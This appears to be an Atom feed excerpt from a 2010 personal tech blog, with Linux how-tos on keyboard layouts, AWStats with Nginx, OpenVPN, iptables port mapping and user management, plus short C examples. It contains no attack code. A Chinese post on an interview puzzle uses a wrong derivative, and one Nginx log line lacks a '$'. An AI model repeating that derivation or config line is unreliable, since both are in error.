        <content type="html"><![CDATA[<p>To input characters in alphabetic writing systems such as Russian, French and German, you don&apos;t have to install an input method. You can just change the keyboard layout. In X system, this can be done with (Russian, for example)</p>

<pre class="brush:bash">
setxkbmap -layout ru
</pre>

<p>But I suggest you set some shortcuts before running this command (and change layout via shortcuts). Otherwise, when you have changed to Russian, you may not be able to input Linux commands (in English), which means you cannot change back. Of course you can use mouse to change back if your DE supports it. </p>

<p>To set shortcuts in Openbox, add the following lines in <b>~/.config/openbox/rc.xml</b></p>

<pre class="brush:xml">
&lt;keybind key=&quot;A-F11&quot;&gt;
  &lt;action name=&quot;Execute&quot;&gt;
    &lt;execute&gt;
      setxkbmap -layout ru
    &lt;/execute&gt;
  &lt;/action&gt;
&lt;/keybind&gt;
&lt;keybind key=&quot;A-F12&quot;&gt;
  &lt;action name=&quot;Execute&quot;&gt;
    &lt;execute&gt;
      setxkbmap -layout us
    &lt;/execute&gt;
  &lt;/action&gt;
&lt;/keybind&gt;
</pre>
<p>After reconfiguring Openbox, you&apos;ll be able to change the keyboard layout via <b>Alt+F11</b> and <b>Alt+F12</b>.</p>

<p>Finally, there&apos;s a Russian keyboard layout</p>

<p><a href="http://www.learn-russia.com/images/russiankeyboard.png"><img src="http://www.learn-russia.com/images/russiankeyboard.png" alt="russiankeyboard" /></a></p>]]></content>
    </entry>
    <entry>
        <title>Linux file associations</title>
        <link href="http://blog.cykerway.com/post/265" />
        <id>http://blog.cykerway.com/post/265</id>
        <updated>2010-10-12T21:19:21Z</updated>
        <content type="html"><![CDATA[<p>To set file associations, there are 2 configurations you should care about:</p>

<ul>
<li>mime-type definition</li>

<li>application association</li>
</ul>

<p>To set mime-type definition, open <b>/usr/share/mime/packages</b>, and view the .xml files in it. You&apos;ll find how to write your own mime-type definitions.</p>

<p>To set application associations, open <b>/usr/share/applications</b>, and view the .desktop files in it. You&apos;ll find how to write your own .desktop files. Also, don&apos;t forget to view the defaults.list file, which sets the default applications for certain mime-types.</p>

<p>There are also local settings, located at <b>~/.local/share/mime/packages</b> and <b>~/.local/share/applications</b>. Local settings will take precedence over global, i.e., system settings, by convention.</p>

<p>Finally, there is an example:</p>

<p><a href="http://wiki.archlinux.org/index.php/Custom_File_Associations">http://wiki.archlinux.org/index.php/Custom_File_Associations</a></p>
<p>Note. There are also tools to manage these tasks, like <b>xdg-mime</b>. Type xdg- and press Tab to see all xdg- tools.</p>]]></content>
    </entry>
    <entry>
        <title>AWStats for Nginx</title>
        <link href="http://blog.cykerway.com/post/264" />
        <id>http://blog.cykerway.com/post/264</id>
        <updated>2010-10-06T19:29:56Z</updated>
        <content type="html"><![CDATA[<p>AWStats is a log analyzer and supports Apache well. To use it with Nginx, however, you should fine-tune some details.</p>

<p>But for now, let&apos;s get familiar with AWStats first. This package should be found in most Linux distributions. After installing the package, you should have a look at the following files, which may be scattered across your system, depending on the packager... But you should be able to find them using <i>dpkg -L awstats</i> or <i>pacman -Ql awstats</i>, etc.</p>

<ul>
<li><b>awstats.pl</b> - The main program which does the most work.</li>

<li><b>awstats_configure.pl</b> - Generate a configuration file interactively.</li>

<li><b>awstats_updateall.pl</b> - Update log database for each configuration specified in a certain directory.</li>

<li><b>awstats_buildstaticpages.pl</b> - Generate static html pages for a configuration.</li>
</ul>

<p>BTW, the database directory is <b>/var/lib/awstats</b>.</p>

<p>Great, now let&apos;s start to configure AWStats. Below are the jobs we need to do:</p>

<ul>
<li>
<p>Cut log files on a daily basis.</p>

<p>Nginx isn&apos;t born with this feature (at least for version below 0.7.67). So you have to cut the log file each day by yourself. <i>Cut</i> is nothing but moving the log file to a new place and telling Nginx to generate a new one:</p>

<pre class="brush:bash">
mv /var/log/nginx/access.log /var/log/nginx/access_`date +%Y%m%d`.log
killall -s USR1 nginx
</pre>

<p>USR1 is a signal such that, when passed to nginx, will cause nginx to reopen the log file.</p>

<p>Save the code above as cut.sh and add it to crontab, setting the time to 23:55 on each day.</p>
</li>

<li>
<p>Generate a configuration for your site.</p>

<p>Run the command</p>

<pre class="brush:bash">
perl awstats_configure.pl
</pre>

<p>Then answer each question interactively. A new configuration file like awstats.www.sitename.com.conf should be generated in /etc/awstats.</p>

<p>Note that awstats_configure.pl needs a awstats.model.conf file. In case that your packager doesn&apos;t place it in the right place, you should either place it in the right place, or modify the settings in awstats_configure.pl.</p>

<p>Next, open the generated configuration file. Change the LogFile option to something like:</p>

<pre class="brush:bash">
LogFile = &quot;/var/log/nginx/access_%YYYY-0%MM-0%DD-0.log&quot;
</pre>

<p>This will cause AWStats to look for the log of the current day. Also change the LogFormat to</p>

<pre class="brush:bash">
LogFormat = &quot;%host - %host_r %time1 %methodurl %code %bytesd %refererquot %uaquot %otherquot&quot;
</pre>

<p>This defines the log format that AWStats will recognize. And we should make Nginx actually write logs in this format, by setting in nginx.conf (or site-specific configuration files):</p>

<pre class="brush:bash">
log_format awstats
&apos;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &apos;
&apos;$status $body_bytes_sent &quot;$http_referer&quot; &apos;
&apos;&quot;$http_user_agent&quot; &quot;http_x_forwarded_for&quot;&apos;;

access_log /var/log/nginx/access.log awstats;
</pre>

<p>Now AWStats should be able to recognize the log files of Nginx. (You may need to restart Nginx, of course.)</p>
</li>

<li>
<p>Generate static html pages.</p>

<p>For simplicity, we jump off the usage of awstats.pl (although it does the real job) and directly use awstats_buildstaticpages.pl. This program will first update the database (if specified with -update option, wich we do), then write results to static html pages. The command is as follows:</p>

<pre class="brush:bash">
perl awstats_buildstaticpages.pl -config=www.sitename.com -update -dir=/output_dir
</pre>

<p>This should generate about 20 html pages in output_dir. The main page is awstats.www.sitename.com.html. Just view it with your browser.</p>

<p>You should also save the code above as buildpages.sh and add it to crontab, setting the time to 23:56 or 23:57. This will make sure logs are first cut then html pages are built at the end of each day.</p>
</li>

<li>
<p>Protect your statistic data with authorization.</p>

<p>You may not want others to see these pages. So you may want to add the following lines in the proper position (http, server or location) of nginx.conf</p>

<pre class="brush:bash">
auth_basic &quot;admin&quot;;
auth_basic_user_file .htpasswd;
</pre>

<p>The .htpasswd is generated using</p>

<pre class="brush:bash">
htpasswd -c .htpasswd admin
</pre>
</li>
</ul>

<p>This article provides very useful information:</p>
<p><a href="http://www.ibm.com/developerworks/cn/linux/l-cn-awstats-nginx/index.html">http://www.ibm.com/developerworks/cn/linux/l-cn-awstats-nginx/index.html</a></p>]]></content>
    </entry>
    <entry>
        <title>nginx primer</title>
        <link href="http://blog.cykerway.com/post/262" />
        <id>http://blog.cykerway.com/post/262</id>
        <updated>2010-10-06T14:30:15Z</updated>
        <content type="html"><![CDATA[<p>The author points out the 3-level hierarchy of http-&gt;server-&gt;location, which, I think, is the most important for a primer.</p>

<p><a href="http://blog.martinfjordvald.com/2010/07/nginx-primer/">http://blog.martinfjordvald.com/2010/07/nginx-primer/</a></p>]]></content>
    </entry>
    <entry>
        <title>BitTorrent protocol</title>
        <link href="http://blog.cykerway.com/post/261" />
        <id>http://blog.cykerway.com/post/261</id>
        <updated>2010-10-05T18:15:07Z</updated>
        <content type="html"><![CDATA[<p>The protocol is at <a href="http://bittorrent.org/beps/bep_0003.html">http://bittorrent.org/beps/bep_0003.html</a></p>

<p>A good comparison between eMule and BitTorrent is at <a href="http://blog.csdn.net/superyao2008/archive/2008/06/25/2586929.aspx">http://blog.csdn.net/superyao2008/archive/2008/06/25/2586929.aspx</a></p>]]></content>
    </entry>
    <entry>
        <title>eMule protocol</title>
        <link href="http://blog.cykerway.com/post/260" />
        <id>http://blog.cykerway.com/post/260</id>
        <updated>2010-10-05T17:24:28Z</updated>
        <content type="html"><![CDATA[<p>An insightful introduction is at <a href="http://www.emule-project.net/home/perl/help.cgi?l=1&rm=show_topic&topic_id=232">http://www.emule-project.net/home/perl/help.cgi?l=1&amp;rm=show_topic&amp;topic_id=232</a></p>

<p>A more detailed eMule protocol guide is at <a href="http://sourceforge.net/projects/emule/files/Protocol%20Documentation/1.0/">http://sourceforge.net/projects/emule/files/Protocol%20Documentation/1.0/</a></p>

<p>The original paper for Kademlia is at <a href="http://pdos.csail.mit.edu/~petar/papers/maymounkov-kademlia-lncs.pdf">http://pdos.csail.mit.edu/~petar/papers/maymounkov-kademlia-lncs.pdf</a></p>]]></content>
    </entry>
    <entry>
        <title>scrot</title>
        <link href="http://blog.cykerway.com/post/259" />
        <id>http://blog.cykerway.com/post/259</id>
        <updated>2010-10-05T15:45:31Z</updated>
        <content type="html"><![CDATA[<p>Scrot is definitely a cute but powerful screenshot tool. </p>

<p>Fullscreen shot</p>
<pre class="brush:bash">
scrot a.png
</pre>

<p>Manually pick a window</p>
<pre class="brush:bash">
scrot -s a.png
</pre>

<p>Countdown (specified with -c, and delay with -d, usually used together)</p>
<pre class="brush:bash">
scrot -cd 5 a.png
</pre>

<p>With window border</p>
<pre class="brush:bash">
scrot -b a.png
</pre>

<p>With thumbnail</p>
<pre class="brush:bash">
scrot -t a.png
</pre>

<p>Execute a command on the file ($f represents the filename)</p>
<pre class="brush:bash">
scrot a.png -e &apos;echo $f&apos;
</pre>]]></content>
    </entry>
    <entry>
        <title>nmap tutorial</title>
        <link href="http://blog.cykerway.com/post/258" />
        <id>http://blog.cykerway.com/post/258</id>
        <updated>2010-10-04T23:32:59Z</updated>
        <content type="html"><![CDATA[<p>教程在</p>

<p><a href="http://nmap.org/man/zh/index.html">http://nmap.org/man/zh/index.html</a></p>

<p>不得不说写得和翻译得都很不错。看的时候都不知道是什么，抬头才发现是nmap.org的官方指南，呃，其实也就是翻译了man nmap。其实你也可以直接man，但是我说这个翻译得真不错，嗯。</p>]]></content>
    </entry>
    <entry>
        <title>HighID for aMule</title>
        <link href="http://blog.cykerway.com/post/257" />
        <id>http://blog.cykerway.com/post/257</id>
        <updated>2010-10-04T04:59:03Z</updated>
        <content type="html"><![CDATA[<p>If you are in a LAN, in which there is a server that has public network IP, then you just do a port map using iptables. DNAT, specifically.</p>

<p>Suppose the server&apos;s public network IP is 200.200.200.200, and its private network, i.e., LAN IP is 10.0.0.1, and your machine&apos;s IP is 10.0.0.2 (Of course it&apos;s a LAN IP and actually you don&apos;t have a public network IP, otherwise you don&apos;t bother the server.). Suppose you want to map the server&apos;s TCP 4662 port to your machine&apos;s 4662 port. Then the following command suffices:</p>

<pre class="brush:bash">
iptables -t nat -A PREROUTING -d 200.200.200.200 -i venet0 -p tcp --dport 4662 -j DNAT --to-destination 10.0.0.2:4662
</pre>

<p>Isn&apos;t it easy? The same applies to UDP as well. To get a HighID, you just need to map the TCP port 4662, as the example shows.</p>

<p>Next we analyze what has happened when you communicate with others using the mapped TCP port 4662.</p>

<p>When you make a connection to others using your TCP port 4662, for example, you initiate a connection to 222.222.222.222:80. So it&apos;s something like 10.0.0.2:4662 -&gt; 222.222.222.222:80. Your request is sent to the server 10.0.0.1 since its the exit (and entrance) of the LAN. (You make sure the packet is sent there by editing the routing table, or set it as the default gateway.) A SNAT will be done there, from 10.0.0.2 to 200.200.200.200 (You need to set this SNAT yourself.), then it becomes 200.200.200.200:4662 -&gt; 222.222.222.222:80. Note that although the new source port is still 4662 here, it isn&apos;t always the case. But iptables will try its best not to do an alternation. man iptables and see --to-source for details. Usually it works well. But you can always further specify the port converted.</p>

<p>Then 222.222.222.222 will see this request on its TCP port 80. It will send data back to 200.200.200.200:4662. Note that while doing SNAT,the server saves information about the conversion. (See this article: <a href="http://blog.cykerway.com/readpost.php?id=158">http://blog.cykerway.com/readpost.php?id=158</a>) So when the reply comes back, the server knows how to convert back the IP and port and send the packet to the actual user, i.e., 10.0.0.2:4662.</p>

<p>That&apos;s half the story. Now see what happens when someone on the public network, say, with IP and port 233.233.233.233:12345, initiates a connection to 10.0.0.2:4662. Of course that guy cannot use the IP 10.0.0.2. He can only make a connection to 200.200.200.200:4662. That&apos;s why we do a port map. The command above just sends what received on 200.200.200.200:4662 to 10.0.0.2:4662. Note that the source address isn&apos;t altered! So when 10.0.0.2 answers this request, it should reply to 233.233.233.233:12345! How can it know how to route this packet? It has a default gateway, right? If it doesn&apos;t know where to send from the routing table, it just sends the packet to the default gateway. In this case, the gateway is usually the one who does the DNAT job, which should know how to deal with the public network IP 233.233.233.233.</p>

<p>There is another method to make the connection work well with DNAT. The server can do an extra SNAT after the DNAT. It can alter the IP address 233.233.233.233 to its own LAN IP, i.e., 10.0.0.1, then sends it to 10.0.0.2. (Note that the port is usually unaltered, as pointed out above. And the information of IP mapping is saved.) From the point of view of 10.0.0.2, the request is from 10.0.0.1. So it just replies to 10.0.0.1. The other work is done by 10.0.0.1 to make sure the reply goes to 233.233.233.233 exactly.</p>

<p>Finally, if you want to test whether you&apos;ve succeeded, check with thispage <a href="http://www.amule.org/testport.php">http://www.amule.org/testport.php</a>. Also, you may find this articles useful <a href="http://wiki.amule.org/index.php/Get_HighID">http://wiki.amule.org/index.php/Get_HighID</a>.</p>]]></content>
    </entry>
    <entry>
        <title>Google2011校招囧题一道</title>
        <link href="http://blog.cykerway.com/post/256" />
        <id>http://blog.cykerway.com/post/256</id>
        <updated>2010-10-04T00:49:14Z</updated>
        <content type="html"><![CDATA[<p>传闻Google今年的校招有这么一道笔试题，看上去真囧：</p>

<i>
<p>现在北京有一套房子，价格200万，假设房价每年上涨10%，一个软件工程师每年固定能赚40万。如果他想买这套房子，不贷款，不涨工资，没有其他收入，每年不吃不喝不消费，那么他需要几年才能攒够钱买这套房子？</p>

<ul>
<li>A. 5年</li>
<li>B. 7年</li>
<li>C. 8年</li>
<li>D. 9年</li>
<li>E. 永远买不起</li>
</ul>
</i>

<p>看到论坛里各种高谈阔论，连超越数、泰勒都搞出来了……都白在帝都活这么些年了。用屁股想都知道是E。要真想搞，中学数学就可以了。</p>

<p>定义房价与收入的差为f(x)，x \geq 0，显然若能找到一个x \geq 0使得f(x) \leq 0，就买得起了。</p>

<p>由定义f(x) = 200 \cdot 1.1^x - 40x，求导数f&apos;(x) = 200 \cdot x \cdot 1.1^{x-1} - 40。f&apos;(x)性质不错，连续，单调递增，x趋于正无穷时f&apos;(x)也趋于正无穷，x = 0时f&apos;(x) &lt; 0。这些说明f(x)是凸函数，只有一个极小值点，就是f&apos;(x) = 0的那个点，不妨记为x_0。则x_0满足5x_0 \cdot 1.1^x_0 = 1.1，也就是1.1^x_0 = \frac{1.1}{5x_0}。代入f(x)，则有f(x_0) = \frac{44}{x_0} - 40x_0。</p>

<p>显然有f&apos;(1) &gt; 0，又因为f&apos;(x)单调递增，所以x_0 &lt; 1。所以\frac{44}{x_0} &gt; 44，并且40x_0 &lt; 40，所以f(x_0) &gt; 44 - 40 = 4 &gt; 0。</p>

<p>f(x_0)最小值都大于0，就是说，你们帝都程序猿，都要大彻大悟认清形势，就算进了Google，也别抱有买房这个不切实际的幻想……</p>]]></content>
    </entry>
    <entry>
        <title>用ed2k解决aMule乱码</title>
        <link href="http://blog.cykerway.com/post/253" />
        <id>http://blog.cykerway.com/post/253</id>
        <updated>2010-10-03T03:10:37Z</updated>
        <content type="html"><![CDATA[<p>在浏览器里复制VeryCD链接到aMule，里面经常出现方块里套一数字、带修饰的a这种乱码。这是因为复制的链接是被rfc2396搞过的，aMule没能正确搞回来。其实aMule附带了一个命令行的ed2k，可以正确识别rfc2396搞过的链接并加入aMule的下载列表。用法很简单，ed2k直接加链接地址即可（有特殊字符时需要引号括起来）：</p>

<pre class="brush:bash">
ed2k &quot;[link address]&quot;
</pre>
<p>不过开shell输入命令再贴链接还是麻烦。用上parcellite就好了。parcellite是个剪贴板管理器，里面有一个action功能，就是可以以当前剪贴板内容为参数执行命令。Preferences的Actions标签页里，设置Action为<i>ed2k</i>，Command为<i>ed2k &quot;%s&quot;</i>即可。</p>

<p>默认呼出热键是Ctrl+Alt+A。那么下载链接时先点右键复制到剪贴板，再按Ctrl+Alt+A，选择ed2k命令即可。</p>

<p>如果你还嫌麻烦，不妨自己写个程序监视剪贴板，发现ed2k链接就用ed2k命令加到aMule里。</p>

<p>Update. Firefox的话直接关联ed2k协议到ed2k程序就行了，连parcellite都不用了。方法见<a href="http://wiki.amule.org/index.php/Ed2k_links_handling#Firefox_2_and_3_.28or_later.29">http://wiki.amule.org/index.php/Ed2k_links_handling#Firefox_2_and_3_.28or_later.29</a>。别的浏览器应该也行，没细看。</p>]]></content>
    </entry>
    <entry>
        <title>Linux user/group management</title>
        <link href="http://blog.cykerway.com/post/251" />
        <id>http://blog.cykerway.com/post/251</id>
        <updated>2010-10-01T21:37:08Z</updated>
        <content type="html"><![CDATA[<p>This article introduces how some common user/group management tasks in Linux are done.</p>

<ol>
<li>
<p>Add a user</p>

<p>Use <b>useradd</b>. Decisions to make in options:</p>

<ul>
<li><p>If you want to create a group with the same name as the user and set it as the initial group for the user, use -U. Otherwise, use -N.</p></li>

<li><p>If you want to make a home directory, use -m. Otherwise, use -M.</p></li>

<li><p>If you want to set an existing group as the initial group for the user, use -g [group].</p></li>

<li><p>If you want to add this user to existing groups, use -G [group1],[group2],...,[groupn]</p></li>
</ul>

<p>The command I usually use is</p>

<pre class="brush:bash">
useradd -U -m [user name]
</pre>
</li>

<li>
<p>Modify a user</p>

<p>Use <b>usermod</b>. Common tasks are:</p>

<ul>
<li>
<p>Change a user&apos;s group to group1,group2,...,groupn. Use </p>

<pre class="brush:bash">
usermod -G [group1],[group2],...,[groupn] [user name]
</pre>

<p>Note that this will remove the user from any group to which he/she originally belongs. To append instead of set the groups for the user, add the -a option:</p>

<pre class="brush:bash">
usermod -a -G [group1],[group2],...,[groupn] [user name]
</pre>

<p>This will keep any group of the user to which he/she originally belongs, while adding him/her to the new groups.</p>
</li>

<li>
<p>Change a user&apos;s home directory.</p>

<p>To set the user&apos;s new home directory, use the -d option. For example, to set the user&apos;s new home directory to /tmp/new_home, use </p>

<pre class="brush:bash">
usermod -d /tmp/new_home [user name]
</pre>

<p>To move the user&apos;s current home directory to the new home directory, add the -m option:</p>

<pre class="brush:bash">
usermod -d /tmp/new_home -m [user name]
</pre>
</li>
</ul>
</li>

<li>
<p>Delete a user.</p>

<p>Use <b>userdel</b>. This command has an option that is often used, the -r option, which removes the user&apos;s home directory and mail spool. To remove the user, use</p>

<pre class="brush:bash">
userdel -r [user name]
</pre>

<p>After removing the user, if you have an empty group with the same name as the user (which is often the one you created using useradd when adding this user), and USERGROUPS_ENAB is set to yes (see below for <b>login.defs</b>), then this group will also be removed.</p>
</li>

<li>
<p>Add a group.</p>

<p>Use <b>groupadd</b>. This command is simple. Just append the group name:</p>

<pre class="brush:bash">
groupadd [options] [group name]
</pre>

<p>Modify a group.</p>

<p>Use <b>groupmod</b>. This command is also simple. Usually you just want to modify the gid or group name. The common syntax is:</p>

<pre class="brush:bash">
groupmod [options] [group name]
</pre>

<p>Consult man page for the options.</p>
</li>

<li>
<p>Delete a group.</p>

<p>Use <b>groupdel</b>. This is an even simpler command. Syntax is:</p>

<pre class="brush:bash">
groupdel [group name]
</pre>
</li>

<li>
<p>Change a user&apos;s password.</p>

<p>Use <b>passwd</b>. The syntax is:</p>

<pre class="brush:bash">
passwd [user name]
</pre>

<p>Then type the password manually.</p>
</li>

<li>
<p>Verify integrity of password files.</p>

<p>Use <b>pwck</b>. This ensures that /etc/passwd and /etc/shadow have proper format. This command also has a useful -s option, which will sort entries in /etc/passwd and /etc/shadow by UID.</p>
</li>

<li>
<p>Verify integrity of group files.</p>

<p>Use <b>grpck</b>. This ensures that /etc/group and /etc/gshadow have proper format. This command also has a useful -s option, which will sort entries in /etc/group and /etc/gshadow by GID.</p>
</li>

<li>
<p>Convert to and from shadow passwords and groups.</p>

<p>This set of commands have four commands: <b>pwconv</b>, <b>pwunconv</b>, <b>grpconv</b>, <b>grpunconv</b>. See man page for details.</p>
</li>

<li>
<p>View a user&apos;s user and group information.</p>

<p>Use <b>id</b>. The syntax is:</p>
<pre class="brush:bash">
id [options] [user name]
</pre>
</li>
</ol>

<p>There are some config files/directories in /etc that you should view to fully understand where the user/group settings come from. These files/directories are: <b>/etc/login.defs</b>, <b>/etc/skel</b>, <b>/etc/default/useradd</b>.</p>]]></content>
    </entry>
    <entry>
        <title>setup OpenVPN</title>
        <link href="http://blog.cykerway.com/post/250" />
        <id>http://blog.cykerway.com/post/250</id>
        <updated>2010-09-30T23:48:22Z</updated>
        <content type="html"><![CDATA[<p>Steps to setup OpenVPN:</p>

<ol>
<li>
<p>Check <b>tun</b> device.</p>

<p>Run</p>

<pre class="brush:bash">
ls /dev/net
</pre>

<p>If there is a device called <i>tun</i>, then <b>tun</b> device exists.</p>
</li>

<li>
<p>Install OpenVPN.</p>
</li>

<li>
<p>Generate keys and certificates.</p>

<p>Check whether there is a folder <i>/usr/share/openvpn/easy-rsa</i> (Arch) or <i>/usr/share/doc/openvpn/examples/easy-rsa</i> (Debian), or similar one on other distros. If so, copy that folder to <i>/etc/openvpn</i>:</p>

<pre class="brush:bash">
cp -r /usr/share/openvpn/easy-rsa /etc/openvpn
</pre>

<p>Then </p>

<pre class="brush:bash">
# Arch
cd /etc/openvpn/easy-rsa
# Debian
cd /etc/openvpn/easy-rsa/2.0
</pre>


<p>Now there should be some scripts: <i>build-ca</i>, <i>build-key-server</i>, etc. in the current folder. First view <i>vars</i> and modify it if you want. You may set the fields for the certificates here, for convenience. Then, run the following commands:</p>

<pre class="brush:bash">
. ./vars
./clean-all # delete all previous keys
./build-ca # generate root certificate/key, fields can be filled arbitrarily
./build-key-server server # generate server certificate/key, fields can be filled arbitrarily but make sure Common Name = server
./build-key client1 # generate client certificate/key, fields can be filled arbitrarily but make sure Common Name = client1
./build-dh # generate Diffie Hellman parameters
</pre>

<p>Finally, we generate ta.key using </p>

<pre class="brush:bash">
openvpn --genkey --secret ta.key
</pre>

<p>This file is for HMAC firewall. Put it under the same folder as <i>server.conf</i> (see below).</p>
</li>

<li>
<p>Write configuration files.</p>

<p>We put an example of <i>server.conf</i> and <i>client.conf</i> here, and explain each option in the comment.</p>

<pre class="brush:bash">
# server.conf

# local IP address on which OpenVPN listens
local 2001:xxxx:xxxx:xxxx:xxxx:xxxx

# port on which OpenVPN listens
port 1194

# protocol
proto udp6

# create a routed IP tunnel
dev tun

# root certificate
ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt

# server certificate
cert /etc/openvpn/easy-rsa/2.0/keys/server.crt

# server key (should be kept secret)
key /etc/openvpn/easy-rsa/2.0/keys/server.key  # This file should be kept secret

# Diffie Hellman parameters
dh /etc/openvpn/easy-rsa/2.0/keys/dh2048.pem

# HMAC firewall during connection initialization
tls-auth ta.key 0

# subnet address pool (server takes 10.8.0.1 itself, others for clients)
server 10.8.0.0 255.255.255.0

# maintain a record of client &lt;-&gt; virtual IP address
ifconfig-pool-persist ipp.txt

# push customized route to client 
# format is (addr netmask gateway)
# if gateway is omitted, then it&apos;s server-side P-t-P address
#push &quot;route xxx.xxx.xxx.0 255.255.255.0 xxx.xxx.xxx.1&quot;

# set OpenVPN server as the gateway for client
# this routes all client&apos;s traffic through OpenVPN server
# with def1 option, client&apos;s original gateway is not destroyed (route -n for details)
# with bypass-dhcp option, dhcp packets are not influenced
push &quot;redirect-gateway def1 bypass-dhcp&quot;

# push DNS to clients
push &quot;dhcp-option DNS 8.8.8.8&quot;
push &quot;dhcp-option DNS 8.8.4.4&quot;

# ping every 10s, assume remote is down if no ping received during 120s
keepalive 10 120

# compress data
comp-lzo

# use previous key on restart
persist-key

# keep dev linkup on restart (otherwise it goes linkdown then linkup)
persist-tun

# server status, rewritten every minute
status openvpn-status.log

# verbose level 3
verb 3

# append log to /var/log/openvpn.log
# if you use log instead of log-append, then it truncates the log file on startup
log-append /var/log/openvpn.log

# uncomment in case of MTU issues
#tun-mtu 1000
#fragment 1000
#mssfix 1000

</pre>

<pre class="brush:bash">
# client.conf

# declare as client
client

# create a routed IP tunnel
dev tun

# protocol
proto udp6

# server address and port
remote 2001:xxxx:xxxx:xxxx:xxxx:xxxx 1194

# keep trying indefinitely to resolve the server name
resolv-retry infinite

# don&apos;t bind to a specific port
nobind

# use previous key on restart
persist-key

# keep dev linkup on restart (otherwise it goes linkdown then linkup)
persist-tun

# root certificate
ca ca.crt

# client certificate
cert client1.crt

# client key
key client1.key

# HMAC firewall during connection initialization
tls-auth ta.key 1

# verify server certificate by checking nsCertType is set to server
ns-cert-type server

# compress data
comp-lzo

# verbose level 3
verb 3

# uncomment in case of MTU issues
#tun-mtu 1000
#fragment 1000
#mssfix 1000

# customized routing on client itself during VPS in on
route xxx.xxx.xxx.0 255.255.255.0 xxx.xxx.xxx.1
</pre>

<p>We use IPv6 address here to show the possibility of tunneling over IPv6. Of course OpenVPN can tunnel over IPv4. Setting protocol to udp instead of udp6 and fill IPv4 address instead of IPv6 ones will make it work.</p>

<p>To use IPv6, you also need to use a patched version, which can be found at <a href="http://github.com/jjo/openvpn-ipv6">http://github.com/jjo/openvpn-ipv6</a>. Check the version by </p>

<pre class="brush:bash">
openvpn --version
</pre>

<p>If there is a [PF_INET6] option, then it applies to IPv6.</p>

</li>

<li>
<p>Run OpenVPN.</p>

<pre class="brush:bash">
# add --daemon to run as daemon

# start server
openvpn --config server.conf

# start client
openvpn --config client.conf
# testing
ping [server&apos;s subnet address]
</pre>
</li>

<li>
<p>IP forwarding.</p>

<p>enable IPv4 forwarding</p>
<pre class="brush:bash">
echo 1 &gt; /proc/sys/net/ipv4/ip_forward
</pre>

<p>Set</p> 
<pre class="brush:bash">
net.ipv4.ip_forward=1
</pre>
<p>in <i>/etc/sysctl.conf</i> to make it permanent.</p>

<p>Add a rule for iptables</p>
<pre class="brush:bash">
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
</pre>
<p>or</p>
<pre class="brush:bash">
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source [server&apos;s public network IP]
</pre>

</li>
</ol>

<p>This article is meant to be an introduction. For more detailed information, visit <a href="http://openvpn.net/index.php/open-source/documentation/howto.html">http://openvpn.net/index.php/open-source/documentation/howto.html</a> and <a href="http://chding.blog.51cto.com/102388/15119">http://chding.blog.51cto.com/102388/15119</a>.</p>]]></content>
    </entry>
    <entry>
        <title>physical memory dump in QEMU</title>
        <link href="http://blog.cykerway.com/post/249" />
        <id>http://blog.cykerway.com/post/249</id>
        <updated>2010-09-25T22:20:28Z</updated>
        <content type="html"><![CDATA[<p><a href="http://userweb.cs.utexas.edu/~mwalfish/classes/s10-cs372h/ref/qemu-gdb-reference.html">http://userweb.cs.utexas.edu/~mwalfish/classes/s10-cs372h/ref/qemu-gdb-reference.html</a></p>]]></content>
    </entry>
    <entry>
        <title>lossless comparison</title>
        <link href="http://blog.cykerway.com/post/248" />
        <id>http://blog.cykerway.com/post/248</id>
        <updated>2010-09-25T18:46:23Z</updated>
        <content type="html"><![CDATA[<p><a href="http://wiki.hydrogenaudio.org/index.php?title=Lossless_comparison">http://wiki.hydrogenaudio.org/index.php?title=Lossless_comparison</a></p>]]></content>
    </entry>
    <entry>
        <title>gcc inline assembly</title>
        <link href="http://blog.cykerway.com/post/247" />
        <id>http://blog.cykerway.com/post/247</id>
        <updated>2010-09-25T00:27:53Z</updated>
        <content type="html"><![CDATA[<p>Well, the problem which has troubled me for a long time finally proves to be nothing difficult. Just an example to show the grammar:</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;

int main()
{
    int res = 1;
    int inc = 2;
    __asm__ __volatile__ (
            &quot;addl %1,%0\n\t&quot;
            &quot;addl %1,%0\n\t&quot;
            &quot;addl %1,%0\n\t&quot;
            :
            &quot;+r&quot;(res)
            :
            &quot;r&quot;(inc)
            :
            &quot;ebx&quot;
            );
    printf(&quot;%d\n&quot;, res);
    return 0;
}
</pre>
<p>Output:</p>
<blockquote>
<p>7</p>
</blockquote>]]></content>
    </entry>
    <entry>
        <title>protected mode addressing</title>
        <link href="http://blog.cykerway.com/post/246" />
        <id>http://blog.cykerway.com/post/246</id>
        <updated>2010-09-24T23:50:30Z</updated>
        <content type="html"><![CDATA[<p><a href="http://hi.baidu.com/guoxiabin/blog/item/4f378258c04fed83810a18cc.html">http://hi.baidu.com/guoxiabin/blog/item/4f378258c04fed83810a18cc.html</a></p>]]></content>
    </entry>
    <entry>
        <title>POSIX shared memory</title>
        <link href="http://blog.cykerway.com/post/245" />
        <id>http://blog.cykerway.com/post/245</id>
        <updated>2010-09-24T21:19:50Z</updated>
        <content type="html"><![CDATA[<p>Just have a try with the examples provided by <i><b>Operating System Concepts</b>, P103</i>, with some modification.</p>

<p>Run <b>sm_alloc</b> first, and you&apos;ll receive a shared memory segment ID.</p>

<p>Then run <b>sm_write</b> and provide it with the ID you received just now, it will write a string <i>Hi, shared memory!</i> into that memory.</p>

<p>Then run <b>sm_read</b> and provide the ID, it will print the string in that memory.</p>

<p>Finally run <b>sm_free</b> and provide the ID, it will free that memory.</p>

<pre class="brush:c">
//sm_alloc.c
#include &lt;stdio.h&gt;
#include &lt;sys/shm.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
    int sid = 0;
    int size = 4096;

    sid = shmget(IPC_PRIVATE,size,S_IRUSR | S_IWUSR);
    printf(&quot;%d\n&quot;,sid);

    return 0;
}

//sm_write.c
#include &lt;stdio.h&gt;
#include &lt;sys/shm.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
    int sid = 0;
    scanf(&quot;%d&quot;,&amp;sid);
    char *sm = (char *)shmat(sid,NULL,0);
    sprintf(sm,&quot;Hi, shared memory!&quot;);
    shmdt(sm);

    return 0;
}

//sm_read.c
#include &lt;stdio.h&gt;
#include &lt;sys/shm.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
    int sid = 0;
    scanf(&quot;%d&quot;,&amp;sid);
    char *sm = (char *)shmat(sid,NULL,0);
    printf(&quot;%s\n&quot;,sm);
